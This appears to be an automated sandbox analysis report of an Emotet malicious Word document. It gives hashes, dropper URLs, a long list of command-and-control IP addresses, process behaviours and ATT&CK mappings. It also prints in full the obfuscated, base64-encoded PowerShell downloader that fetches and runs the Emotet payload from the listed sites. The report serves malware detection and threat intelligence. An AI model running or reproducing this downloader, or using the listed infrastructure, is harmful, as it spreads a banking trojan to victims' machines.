emotet | ff1324e1008afa9dd5f4b1fd148b23b5d1432c53f8f984aa55ffd6efa2b0a2c5

General

Target
emotet_e1_ff1324e1008afa9dd5f4b1fd148b23b5d1432c53f8f984aa55ffd6efa2b0a2c5_2020-09-29__175753957148._doc.doc
Size 171KB
Sample200929-9bpswv7z1e
SHA256 ff1324e1008afa9dd5f4b1fd148b23b5d1432c53f8f984aa55ffd6efa2b0a2c5
MD5 aaa023c2c68f09b33d81e19ac6a204d9
SHA1 f1ef00c11216b5731cd2e1f4b6bec83d95a41a33
SHA512 cfb5d59b1fdee5dc6e20ef1ab92f038e41a1683e4a24ba2bac015aee28e785ea80a907cd0338a388e989830f22fce56d1d771e54748f75cf25d1783c90e2837f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://shop.qihchina.com/validators/8/
exe.dropper
http://skoolkam.com/blog/5ji/
exe.dropper
http://shopmebom.webdungsan.com/wp-admin/1Oy/
exe.dropper
http://demo77.webdungsan.com/wp-admin/6m/
exe.dropper
https://wyyichen.com/wp-includes/W0N/
exe.dropper
http://94.24.72.63/wp-content/te/
exe.dropper
http://topupez.info/wp-includes/DEr/

Extracted

Family

emotet

C2

128.92.203.42:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
190.188.245.242:80
12.163.208.58:80
213.197.182.158:8080
201.213.177.139:80
62.84.75.50:80
45.33.77.42:8080
185.183.16.47:80
78.249.119.122:80
177.129.17.170:443
51.15.7.189:80
152.169.22.67:80
119.106.216.84:80
109.169.12.78:80
51.15.7.145:80
219.92.13.25:80
190.117.79.209:80
35.143.99.174:80
51.255.165.160:8080
209.236.123.42:8080
70.32.115.157:8080
155.186.0.121:80
177.73.0.98:443
181.129.96.162:8080
45.46.37.97:80
178.250.54.208:8080
68.183.170.114:8080
51.38.124.206:80
203.205.28.68:80
46.43.2.95:8080
65.36.62.20:80
70.116.143.84:80
5.189.178.202:8080
190.115.18.139:8080
74.58.215.226:80
185.94.252.12:80
51.75.33.127:80
190.190.148.27:8080
82.76.111.249:443
137.74.106.111:7080
85.214.26.7:8080
76.168.54.203:80
60.93.23.51:80
188.135.15.49:80
186.103.141.250:443
202.134.4.210:7080
185.232.182.218:80
104.131.41.185:8080
123.51.47.18:80
217.13.106.14:8080
116.202.23.3:8080
186.70.127.199:8090
94.176.234.118:443
5.196.35.138:7080
216.47.196.104:80
96.227.52.8:443
191.182.6.118:80
174.113.69.136:80
87.106.253.248:8080
192.241.146.84:8080
190.24.243.186:80
68.183.190.199:8080
12.162.84.2:8080
189.2.177.210:443
98.13.75.196:80
185.94.252.27:443
64.201.88.132:80
149.202.72.142:7080
172.104.169.32:8080
181.74.0.251:80
87.106.46.107:8080
60.108.144.104:443
170.81.48.2:80
67.247.242.247:80
212.71.237.140:8080
202.4.58.197:80
189.35.44.221:80
138.97.60.141:7080
50.121.220.50:80
2.36.95.106:80
177.74.228.34:80
83.169.21.32:7080
111.67.12.221:8080
192.81.38.31:80
70.169.17.134:80
77.238.212.227:80
61.197.92.216:80
82.230.1.24:80
95.9.180.128:80
50.28.51.143:8080
70.32.84.74:8080
1.226.84.243:8080
192.241.143.52:8080
181.30.61.163:443
74.136.144.133:80
45.33.35.74:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3356	3816	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3908-13-0x00000000022C0000-0x00000000022D0000-memory.dmp	emotet
behavioral2/memory/3908-13-0x00000000022C0000-0x00000000022D0000-memory.dmp	emotet
behavioral2/memory/3728-19-0x0000000002200000-0x0000000002210000-memory.dmp	emotet
behavioral2/memory/3728-19-0x0000000002200000-0x0000000002210000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	3356	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3908	Wylixv5j3.exe
3728	dswave.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\thumbcache\dswave.exe	Wylixv5j3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3884	WINWORD.EXE
3884	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3356	POwersheLL.exe
3356	POwersheLL.exe
3356	POwersheLL.exe
3728	dswave.exe
3728	dswave.exe
3728	dswave.exe
3728	dswave.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3356	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3884	WINWORD.EXE
3908	Wylixv5j3.exe
3908	Wylixv5j3.exe
3728	dswave.exe
3728	dswave.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 3908	3356	POwersheLL.exe	80
PID 3356 wrote to memory of 3908	3356	POwersheLL.exe	80
PID 3356 wrote to memory of 3908	3356	POwersheLL.exe	80
PID 3908 wrote to memory of 3728	3908	Wylixv5j3.exe	81
PID 3908 wrote to memory of 3728	3908	Wylixv5j3.exe	81
PID 3908 wrote to memory of 3728	3908	Wylixv5j3.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ff1324e1008afa9dd5f4b1fd148b23b5d1432c53f8f984aa55ffd6efa2b0a2c5_2020-09-29__175753957148._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3884

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABRAHYAMABsAG4ANAA1AD0AKAAnAFEAOQAnACsAKAAnAHkAagA4ACcAKwAnAG0AOQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABlAFwARAA1AFUAMABoAEYAMwBcAGwAdABWAEsATwBNAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAGkAVABZAFAAUgBgAE8AYABUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAJwApACsAJwAxACwAJwArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABFAHEAbABpAGQAXwByACAAPQAgACgAKAAnAFcAeQAnACsAJwBsACcAKQArACgAJwBpAHgAJwArACcAdgA1ACcAKQArACcAagAzACcAKQA7ACQAUQAyAGYANQB0ADYAbAA9ACgAJwBPACcAKwAoACcAcwAnACsAJwBiAGcAJwApACsAKAAnAHQAbQAnACsAJwBfACcAKQApADsAJABLAHUANQBkAGoAMQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEQAJwArACcANQB1ADAAaABmADMAewAwAH0ATAB0AHYAawBvAG0AZQB7ACcAKwAnADAAfQAnACkALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQARQBxAGwAaQBkAF8AcgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBqAHMAcwA1AGQAdgA9ACgAJwBLACcAKwAnADEAJwArACgAJwBhADcAYQAnACsAJwBjADIAJwApACkAOwAkAFYAZwB3AG4ANgBoADgAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBsAGkAZQBOAHQAOwAkAE4AMQA2ADUAMQBoAHUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaAAnACsAJwBvAHAALgBxAGkAJwApACsAKAAnAGgAYwBoAGkAbgBhACcAKwAnAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC8AdgBhAGwAaQBkAGEAJwApACsAJwB0ACcAKwAoACcAbwAnACsAJwByAHMALwAnACkAKwAoACcAOAAvACoAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwArACcAOgAvAC8AcwBrAG8AJwArACcAbwBsAGsAYQBtACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwArACcAYgBsAG8AJwArACcAZwAvADUAagAnACkAKwAoACcAaQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBzACcAKQArACgAJwBoACcAKwAnAG8AcAAnACkAKwAoACcAbQAnACsAJwBlAGIAbwBtACcAKQArACcALgB3ACcAKwAoACcAZQBiAGQAdQAnACsAJwBuACcAKwAnAGcAcwAnACkAKwAoACcAYQAnACsAJwBuAC4AYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwAxAE8AeQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAoACcAZABlAG0AJwArACcAbwAnACkAKwAnADcAJwArACcANwAuACcAKwAnAHcAJwArACcAZQAnACsAJwBiACcAKwAoACcAZAAnACsAJwB1AG4AZwAnACkAKwAnAHMAYQAnACsAJwBuACcAKwAoACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQAnACsAJwBpAG4ALwA2ACcAKQArACgAJwBtAC8AJwArACcAKgAnACsAJwBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB5AHkAaQBjAGgAZQAnACsAJwBuAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwBwACcAKwAnAC0AaQBuAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvAFcAMABOAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6AC8AJwArACcALwA5ACcAKQArACgAJwA0ACcAKwAnAC4AMgAnACkAKwAoACcANAAnACsAJwAuACcAKwAnADcAMgAuADYAMwAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAvACcAKwAnAHQAZQAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvAHQAbwAnACsAJwBwAHUAcABlAHoAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAoACcARAAnACsAJwBFAHIALwAnACkAKQAuACIAUwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAGsAZgBkAHkANABwAD0AKAAnAFkAaQAnACsAJwAzAHAAJwArACgAJwA2AHoAJwArACcAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbgB2AHEAYwBnAHQAIABpAG4AIAAkAE4AMQA2ADUAMQBoAHUAKQB7AHQAcgB5AHsAJABWAGcAdwBuADYAaAA4AC4AIgBkAGAATwB3AG4AYABsAE8AYQBEAGAARgBJAEwAZQAiACgAJABYAG4AdgBxAGMAZwB0ACwAIAAkAEsAdQA1AGQAagAxAGQAKQA7ACQARwA3AGoAdgAzAGoAawA9ACgAKAAnAEUAJwArACcAcQBwACcAKQArACgAJwA0ACcAKwAnADUAcQB4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEsAdQA1AGQAagAxAGQAKQAuACIATABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAAMgA1ADcAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQASwB1ADUAZABqADEAZAApADsAJABJAHkAagBoADgAZAB0AD0AKAAoACcAUgB1AHYAbQAnACsAJwBmACcAKQArACcANQB6ACcAKQA7AGIAcgBlAGEAawA7ACQAQgB4AGYANABnADkAagA9ACgAKAAnAFAAJwArACcAOAAnACsAJwBoAG8AdwBfACcAKQArACcAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQB0AGIAOAAzAG0APQAoACcAUwAyACcAKwAnAGQAMQAnACsAKAAnAHoAJwArACcAaQBhACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Users\Admin\D5u0hf3\Ltvkome\Wylixv5j3.exe
  "C:\Users\Admin\D5u0hf3\Ltvkome\Wylixv5j3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\SysWOW64\thumbcache\dswave.exe
    "C:\Windows\SysWOW64\thumbcache\dswave.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3356-4-0x00007FF9BB000000-0x00007FF9BB9EC000-memory.dmp

Download

memory/3356-5-0x00000209750D0000-0x00000209750D1000-memory.dmp

Download

memory/3356-6-0x00000209753C0000-0x00000209753C1000-memory.dmp

Download

memory/3728-19-0x0000000002200000-0x0000000002210000-memory.dmp

Download

memory/3884-0-0x00007FF9C24B0000-0x00007FF9C2B76000-memory.dmp

Download

memory/3908-13-0x00000000022C0000-0x00000000022D0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads